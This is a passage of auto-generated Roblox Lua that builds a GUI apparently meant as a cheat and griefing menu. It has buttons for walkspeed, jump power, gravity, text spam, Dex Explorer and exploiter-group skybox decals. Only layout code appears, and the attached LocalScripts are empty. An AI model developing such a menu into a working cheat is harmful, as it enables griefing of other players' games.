G2L["a0"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["a0"]["Name"] = [[Button]];
G2L["a0"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["a0"]["Text"] = [[Destroy Gui]];
G2L["a0"]["Position"] = UDim2.new(0, 73, 0, 66);
-- StarterGui.CoolGui.Frame.Page3.Section2.Button.LocalScript
G2L["a1"] = Instance.new("LocalScript", G2L["a0"]);
-- StarterGui.CoolGui.Frame.Page3.Section2.Button
G2L["a2"] = Instance.new("TextButton", G2L["9a"]);
G2L["a2"]["BorderSizePixel"] = 3;
G2L["a2"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["a2"]["TextSize"] = 14;
G2L["a2"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["a2"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["a2"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["a2"]["Name"] = [[Button]];
G2L["a2"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["a2"]["Text"] = [[Dex Explorer]];
G2L["a2"]["Position"] = UDim2.new(0, 73, 0, 33);
-- StarterGui.CoolGui.Frame.Page3.Section2.Button.LocalScript
G2L["a3"] = Instance.new("LocalScript", G2L["a2"]);
-- StarterGui.CoolGui.Frame.Page3.Section1
G2L["a4"] = Instance.new("Frame", G2L["98"]);
G2L["a4"]["Active"] = true;
G2L["a4"]["BorderSizePixel"] = 3;
G2L["a4"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["a4"]["Size"] = UDim2.new(0.5, -3, 1, 0);
G2L["a4"]["Position"] = UDim2.new(0, 3, 0, 0);
G2L["a4"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["a4"]["Name"] = [[Section1]];
-- StarterGui.CoolGui.Frame.Page3.Section1.SectionTitle
G2L["a5"] = Instance.new("TextLabel", G2L["a4"]);
G2L["a5"]["BorderSizePixel"] = 3;
G2L["a5"]["TextSize"] = 14;
G2L["a5"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["a5"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["a5"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["a5"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["a5"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["a5"]["Text"] = [[LocalPlayer]];
G2L["a5"]["Name"] = [[SectionTitle]];
-- StarterGui.CoolGui.Frame.Page3.Section1.Button
G2L["a6"] = Instance.new("TextButton", G2L["a4"]);
G2L["a6"]["BorderSizePixel"] = 3;
G2L["a6"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["a6"]["TextSize"] = 14;
G2L["a6"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["a6"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["a6"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["a6"]["Name"] = [[Button]];
G2L["a6"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["a6"]["Text"] = [[Billboard Gui]];
G2L["a6"]["Position"] = UDim2.new(0, 0, 0, 33);
-- StarterGui.CoolGui.Frame.Page3.Section1.Button.LocalScript
G2L["a7"] = Instance.new("LocalScript", G2L["a6"]);
-- StarterGui.CoolGui.Frame.Page3.Section1.Button
G2L["a8"] = Instance.new("TextButton", G2L["a4"]);
G2L["a8"]["TextWrapped"] = true;
G2L["a8"]["BorderSizePixel"] = 3;
G2L["a8"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["a8"]["TextSize"] = 14;
G2L["a8"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["a8"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["a8"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["a8"]["Name"] = [[Button]];
G2L["a8"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["a8"]["Text"] = [[Disco Character]];
G2L["a8"]["Position"] = UDim2.new(0, 0, 0, 66);
-- StarterGui.CoolGui.Frame.Page3.Section1.Button.LocalScript
G2L["a9"] = Instance.new("LocalScript", G2L["a8"]);
-- StarterGui.CoolGui.Frame.Page3.Section1.Button
G2L["aa"] = Instance.new("TextButton", G2L["a4"]);
G2L["aa"]["BorderSizePixel"] = 3;
G2L["aa"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["aa"]["TextSize"] = 14;
G2L["aa"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["aa"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["aa"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["aa"]["Name"] = [[Button]];
G2L["aa"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["aa"]["Text"] = [[Set Platform]];
G2L["aa"]["Position"] = UDim2.new(0, 0, 0, 99);
-- StarterGui.CoolGui.Frame.Page3.Section1.Button.LocalScript
G2L["ab"] = Instance.new("LocalScript", G2L["aa"]);
-- StarterGui.CoolGui.Frame.Page3.Section1.Button
G2L["ac"] = Instance.new("TextButton", G2L["a4"]);
G2L["ac"]["BorderSizePixel"] = 3;
G2L["ac"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["ac"]["TextSize"] = 14;
G2L["ac"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["ac"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["ac"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["ac"]["Name"] = [[Button]];
G2L["ac"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["ac"]["Text"] = [[Floating Pad]];
G2L["ac"]["Position"] = UDim2.new(0, 0, 0, 132);
-- StarterGui.CoolGui.Frame.Page3.Section1.Button.LocalScript
G2L["ad"] = Instance.new("LocalScript", G2L["ac"]);
-- StarterGui.CoolGui.Frame.Page3.Section1.Button
G2L["ae"] = Instance.new("TextButton", G2L["a4"]);
G2L["ae"]["BorderSizePixel"] = 3;
G2L["ae"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["ae"]["TextSize"] = 14;
G2L["ae"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["ae"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["ae"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["ae"]["Name"] = [[Button]];
G2L["ae"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["ae"]["Text"] = [[Set Reach]];
G2L["ae"]["Position"] = UDim2.new(0, 0, 0, 165);
-- StarterGui.CoolGui.Frame.Page3.Section1.Button.LocalScript
G2L["af"] = Instance.new("LocalScript", G2L["ae"]);
-- StarterGui.CoolGui.Frame.Page3.Section1.Button
G2L["b0"] = Instance.new("TextButton", G2L["a4"]);
G2L["b0"]["TextWrapped"] = true;
G2L["b0"]["BorderSizePixel"] = 3;
G2L["b0"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["b0"]["TextSize"] = 14;
G2L["b0"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["b0"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["b0"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["b0"]["Name"] = [[Button]];
G2L["b0"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["b0"]["Text"] = [[Play Animation]];
G2L["b0"]["Position"] = UDim2.new(0, 0, 0, 198);
-- StarterGui.CoolGui.Frame.Page3.Section1.Button.LocalScript
G2L["b1"] = Instance.new("LocalScript", G2L["b0"]);
-- StarterGui.CoolGui.Frame.Page3.Section1.Button
G2L["b2"] = Instance.new("TextButton", G2L["a4"]);
G2L["b2"]["BorderSizePixel"] = 3;
G2L["b2"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["b2"]["TextSize"] = 14;
G2L["b2"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["b2"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["b2"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["b2"]["Name"] = [[Button]];
G2L["b2"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["b2"]["Text"] = [[Chicken Arms]];
G2L["b2"]["Position"] = UDim2.new(0, 73, 0, 66);
-- StarterGui.CoolGui.Frame.Page3.Section1.Button.LocalScript
G2L["b3"] = Instance.new("LocalScript", G2L["b2"]);
-- StarterGui.CoolGui.Frame.Page3.Section1.Button
G2L["b4"] = Instance.new("TextButton", G2L["a4"]);
G2L["b4"]["TextWrapped"] = true;
G2L["b4"]["BorderSizePixel"] = 3;
G2L["b4"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["b4"]["TextSize"] = 14;
G2L["b4"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["b4"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["b4"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["b4"]["Name"] = [[Button]];
G2L["b4"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["b4"]["Text"] = [[Set JumpPower]];
G2L["b4"]["Position"] = UDim2.new(0, 73, 0, 99);
-- StarterGui.CoolGui.Frame.Page3.Section1.Button.LocalScript
G2L["b5"] = Instance.new("LocalScript", G2L["b4"]);
-- StarterGui.CoolGui.Frame.Page3.Section1.Button
G2L["b6"] = Instance.new("TextButton", G2L["a4"]);
G2L["b6"]["BorderSizePixel"] = 3;
G2L["b6"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["b6"]["TextSize"] = 14;
G2L["b6"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["b6"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["b6"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["b6"]["Name"] = [[Button]];
G2L["b6"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["b6"]["Text"] = [[Set Walkspeed]];
G2L["b6"]["Position"] = UDim2.new(0, 73, 0, 165);
-- StarterGui.CoolGui.Frame.Page3.Section1.Button.LocalScript
G2L["b7"] = Instance.new("LocalScript", G2L["b6"]);
-- StarterGui.CoolGui.Frame.Page3.Section1.Button
G2L["b8"] = Instance.new("TextButton", G2L["a4"]);
G2L["b8"]["BorderSizePixel"] = 3;
G2L["b8"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["b8"]["TextSize"] = 14;
G2L["b8"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["b8"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["b8"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["b8"]["Name"] = [[Button]];
G2L["b8"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["b8"]["Text"] = [[Spam Text]];
G2L["b8"]["Position"] = UDim2.new(0, 73, 0, 198);
-- StarterGui.CoolGui.Frame.Page3.Section1.Button.LocalScript
G2L["b9"] = Instance.new("LocalScript", G2L["b8"]);
-- StarterGui.CoolGui.Frame.Page3.Section1.Button
G2L["ba"] = Instance.new("TextButton", G2L["a4"]);
G2L["ba"]["BorderSizePixel"] = 3;
G2L["ba"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["ba"]["TextSize"] = 14;
G2L["ba"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["ba"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["ba"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["ba"]["Name"] = [[Button]];
G2L["ba"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["ba"]["Text"] = [[Head Shake]];
G2L["ba"]["Position"] = UDim2.new(0, 73, 0, 132);
-- StarterGui.CoolGui.Frame.Page3.Section1.Button.LocalScript
G2L["bb"] = Instance.new("LocalScript", G2L["ba"]);
-- StarterGui.CoolGui.Frame.Page3.Section1.Button
G2L["bc"] = Instance.new("TextButton", G2L["a4"]);
G2L["bc"]["BorderSizePixel"] = 3;
G2L["bc"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["bc"]["TextSize"] = 14;
G2L["bc"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["bc"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["bc"]["Size"] = UDim2.new(0.475, 0, 0, 30);
G2L["bc"]["Name"] = [[Button]];
G2L["bc"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["bc"]["Text"] = [[Set Gravity]];
G2L["bc"]["Position"] = UDim2.new(0, 0, 0, 231);
-- StarterGui.CoolGui.Frame.Page3.Section1.Button.LocalScript
G2L["bd"] = Instance.new("LocalScript", G2L["bc"]);
-- StarterGui.CoolGui.Frame.Page3.Section1.Button
G2L["be"] = Instance.new("TextButton", G2L["a4"]);
G2L["be"]["BorderSizePixel"] = 3;
G2L["be"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["be"]["TextSize"] = 14;
G2L["be"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["be"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["be"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["be"]["Name"] = [[Button]];
G2L["be"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["be"]["Text"] = [[Change Name]];
G2L["be"]["Position"] = UDim2.new(0, 73, 0, 33);
-- StarterGui.CoolGui.Frame.Page3.Section1.Button.LocalScript
G2L["bf"] = Instance.new("LocalScript", G2L["be"]);
-- StarterGui.CoolGui.Frame.Page4
G2L["c0"] = Instance.new("Frame", G2L["2"]);
G2L["c0"]["Visible"] = false;
G2L["c0"]["ZIndex"] = 2;
G2L["c0"]["BorderSizePixel"] = 3;
G2L["c0"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["c0"]["Size"] = UDim2.new(1, 0, 1, -106);
G2L["c0"]["Position"] = UDim2.new(0, 0, 0, 83);
G2L["c0"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["c0"]["Name"] = [[Page4]];
-- StarterGui.CoolGui.Frame.Page4.PageLabel
G2L["c1"] = Instance.new("TextLabel", G2L["c0"]);
G2L["c1"]["ZIndex"] = 2;
G2L["c1"]["BorderSizePixel"] = 3;
G2L["c1"]["TextSize"] = 14;
G2L["c1"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["c1"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["c1"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["c1"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["c1"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["c1"]["Text"] = [[Page 4]];
G2L["c1"]["Name"] = [[PageLabel]];
G2L["c1"]["Position"] = UDim2.new(0, 0, 1, -30);
-- StarterGui.CoolGui.Frame.Page4.Section2
G2L["c2"] = Instance.new("Frame", G2L["c0"]);
G2L["c2"]["Active"] = true;
G2L["c2"]["BorderSizePixel"] = 3;
G2L["c2"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["c2"]["Size"] = UDim2.new(0.5, -3, 1, 0);
G2L["c2"]["Position"] = UDim2.new(0.5, 3, 0, 0);
G2L["c2"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["c2"]["Name"] = [[Section2]];
-- StarterGui.CoolGui.Frame.Page4.Section2.SectionTitle
G2L["c3"] = Instance.new("TextLabel", G2L["c2"]);
G2L["c3"]["BorderSizePixel"] = 3;
G2L["c3"]["TextSize"] = 14;
G2L["c3"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["c3"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["c3"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["c3"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["c3"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["c3"]["Text"] = [[Preset Music IDs]];
G2L["c3"]["Name"] = [[SectionTitle]];
-- StarterGui.CoolGui.Frame.Page4.Section2.Button
G2L["c4"] = Instance.new("TextButton", G2L["c2"]);
G2L["c4"]["BorderSizePixel"] = 3;
G2L["c4"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["c4"]["TextSize"] = 14;
G2L["c4"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["c4"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["c4"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["c4"]["Name"] = [[Button]];
G2L["c4"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["c4"]["Text"] = [[Elctro Sp00k]];
G2L["c4"]["Position"] = UDim2.new(0, 0, 0, 33);
-- StarterGui.CoolGui.Frame.Page4.Section2.Button.LocalScript
G2L["c5"] = Instance.new("LocalScript", G2L["c4"]);
-- StarterGui.CoolGui.Frame.Page4.Section2.Button
G2L["c6"] = Instance.new("TextButton", G2L["c2"]);
G2L["c6"]["BorderSizePixel"] = 3;
G2L["c6"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["c6"]["TextSize"] = 14;
G2L["c6"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["c6"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["c6"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["c6"]["Name"] = [[Button]];
G2L["c6"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["c6"]["Text"] = [[Chop Suey]];
G2L["c6"]["Position"] = UDim2.new(0, 0, 0, 66);
-- StarterGui.CoolGui.Frame.Page4.Section2.Button.LocalScript
G2L["c7"] = Instance.new("LocalScript", G2L["c6"]);
-- StarterGui.CoolGui.Frame.Page4.Section2.Button
G2L["c8"] = Instance.new("TextButton", G2L["c2"]);
G2L["c8"]["BorderSizePixel"] = 3;
G2L["c8"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["c8"]["TextSize"] = 14;
G2L["c8"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["c8"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["c8"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["c8"]["Name"] = [[Button]];
G2L["c8"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["c8"]["Text"] = [[Scream]];
G2L["c8"]["Position"] = UDim2.new(0, 73, 0, 66);
-- StarterGui.CoolGui.Frame.Page4.Section2.Button.LocalScript
G2L["c9"] = Instance.new("LocalScript", G2L["c8"]);
-- StarterGui.CoolGui.Frame.Page4.Section2.Button
G2L["ca"] = Instance.new("TextButton", G2L["c2"]);
G2L["ca"]["BorderSizePixel"] = 3;
G2L["ca"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["ca"]["TextSize"] = 14;
G2L["ca"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["ca"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["ca"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["ca"]["Name"] = [[Button]];
G2L["ca"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["ca"]["Text"] = [[Raining Tacos]];
G2L["ca"]["Position"] = UDim2.new(0, 73, 0, 33);
-- StarterGui.CoolGui.Frame.Page4.Section2.Button.LocalScript
G2L["cb"] = Instance.new("LocalScript", G2L["ca"]);
-- StarterGui.CoolGui.Frame.Page4.Section1
G2L["cc"] = Instance.new("Frame", G2L["c0"]);
G2L["cc"]["Active"] = true;
G2L["cc"]["BorderSizePixel"] = 3;
G2L["cc"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["cc"]["Size"] = UDim2.new(0.5, -3, 1, 0);
G2L["cc"]["Position"] = UDim2.new(0, 3, 0, 0);
G2L["cc"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["cc"]["Name"] = [[Section1]];
-- StarterGui.CoolGui.Frame.Page4.Section1.SectionTitle
G2L["cd"] = Instance.new("TextLabel", G2L["cc"]);
G2L["cd"]["BorderSizePixel"] = 3;
G2L["cd"]["TextSize"] = 14;
G2L["cd"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["cd"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["cd"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["cd"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["cd"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["cd"]["Text"] = [[Preset Skybox/Decal IDs]];
G2L["cd"]["Name"] = [[SectionTitle]];
-- StarterGui.CoolGui.Frame.Page4.Section1.Button
G2L["ce"] = Instance.new("TextButton", G2L["cc"]);
G2L["ce"]["TextWrapped"] = true;
G2L["ce"]["BorderSizePixel"] = 3;
G2L["ce"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["ce"]["TextSize"] = 14;
G2L["ce"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["ce"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["ce"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["ce"]["Name"] = [[Button]];
G2L["ce"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["ce"]["Text"] = [[team c00lkidd Logo 1]];
G2L["ce"]["Position"] = UDim2.new(0, 0, 0, 33);
-- StarterGui.CoolGui.Frame.Page4.Section1.Button.LocalScript
G2L["cf"] = Instance.new("LocalScript", G2L["ce"]);
-- StarterGui.CoolGui.Frame.Page4.Section1.Button
G2L["d0"] = Instance.new("TextButton", G2L["cc"]);
G2L["d0"]["BorderSizePixel"] = 3;
G2L["d0"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["d0"]["TextSize"] = 14;
G2L["d0"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["d0"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["d0"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["d0"]["Name"] = [[Button]];
G2L["d0"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["d0"]["Text"] = [[Thomas]];
G2L["d0"]["Position"] = UDim2.new(0, 0, 0, 66);
-- StarterGui.CoolGui.Frame.Page4.Section1.Button.LocalScript
G2L["d1"] = Instance.new("LocalScript", G2L["d0"]);
-- StarterGui.CoolGui.Frame.Page4.Section1.Button
G2L["d2"] = Instance.new("TextButton", G2L["cc"]);
G2L["d2"]["TextWrapped"] = true;
G2L["d2"]["BorderSizePixel"] = 3;
G2L["d2"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["d2"]["TextSize"] = 14;
G2L["d2"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["d2"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["d2"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["d2"]["Name"] = [[Button]];
G2L["d2"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["d2"]["Text"] = [[team skrubl0rd]];
G2L["d2"]["Position"] = UDim2.new(0, 0, 0, 99);
-- StarterGui.CoolGui.Frame.Page4.Section1.Button.LocalScript
G2L["d3"] = Instance.new("LocalScript", G2L["d2"]);
-- StarterGui.CoolGui.Frame.Page4.Section1.Button
G2L["d4"] = Instance.new("TextButton", G2L["cc"]);
G2L["d4"]["TextWrapped"] = true;
G2L["d4"]["BorderSizePixel"] = 3;
G2L["d4"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["d4"]["TextSize"] = 14;
G2L["d4"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["d4"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["d4"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["d4"]["Name"] = [[Button]];
G2L["d4"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["d4"]["Text"] = [[team starp4tch]];
G2L["d4"]["Position"] = UDim2.new(0, 0, 0, 132);
-- StarterGui.CoolGui.Frame.Page4.Section1.Button.LocalScript
G2L["d5"] = Instance.new("LocalScript", G2L["d4"]);
-- StarterGui.CoolGui.Frame.Page4.Section1.Button
G2L["d6"] = Instance.new("TextButton", G2L["cc"]);
G2L["d6"]["BorderSizePixel"] = 3;
G2L["d6"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["d6"]["TextSize"] = 14;
G2L["d6"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["d6"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["d6"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["d6"]["Name"] = [[Button]];
G2L["d6"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["d6"]["Text"] = [[c00lkidd]];
G2L["d6"]["Position"] = UDim2.new(0, 73, 0, 66);
-- StarterGui.CoolGui.Frame.Page4.Section1.Button.LocalScript
G2L["d7"] = Instance.new("LocalScript", G2L["d6"]);
-- StarterGui.CoolGui.Frame.Page4.Section1.Button
G2L["d8"] = Instance.new("TextButton", G2L["cc"]);
G2L["d8"]["TextWrapped"] = true;
G2L["d8"]["BorderSizePixel"] = 3;
G2L["d8"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["d8"]["TextSize"] = 14;
G2L["d8"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["d8"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["d8"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["d8"]["Name"] = [[Button]];
G2L["d8"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["d8"]["Text"] = [[team 1x3x5x6]];
G2L["d8"]["Position"] = UDim2.new(0, 73, 0, 99);
-- StarterGui.CoolGui.Frame.Page4.Section1.Button.LocalScript
G2L["d9"] = Instance.new("LocalScript", G2L["d8"]);
-- StarterGui.CoolGui.Frame.Page4.Section1.Button
G2L["da"] = Instance.new("TextButton", G2L["cc"]);
G2L["da"]["BorderSizePixel"] = 3;
G2L["da"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["da"]["TextSize"] = 14;
G2L["da"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["da"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["da"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["da"]["Name"] = [[Button]];
G2L["da"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["da"]["Text"] = [[ExPro]];
G2L["da"]["Position"] = UDim2.new(0, 73, 0, 132);
-- StarterGui.CoolGui.Frame.Page4.Section1.Button.LocalScript
G2L["db"] = Instance.new("LocalScript", G2L["da"]);
-- StarterGui.CoolGui.Frame.Page4.Section1.Button
G2L["dc"] = Instance.new("TextButton", G2L["cc"]);
G2L["dc"]["TextWrapped"] = true;
G2L["dc"]["BorderSizePixel"] = 3;
G2L["dc"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["dc"]["TextSize"] = 14;
G2L["dc"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["dc"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
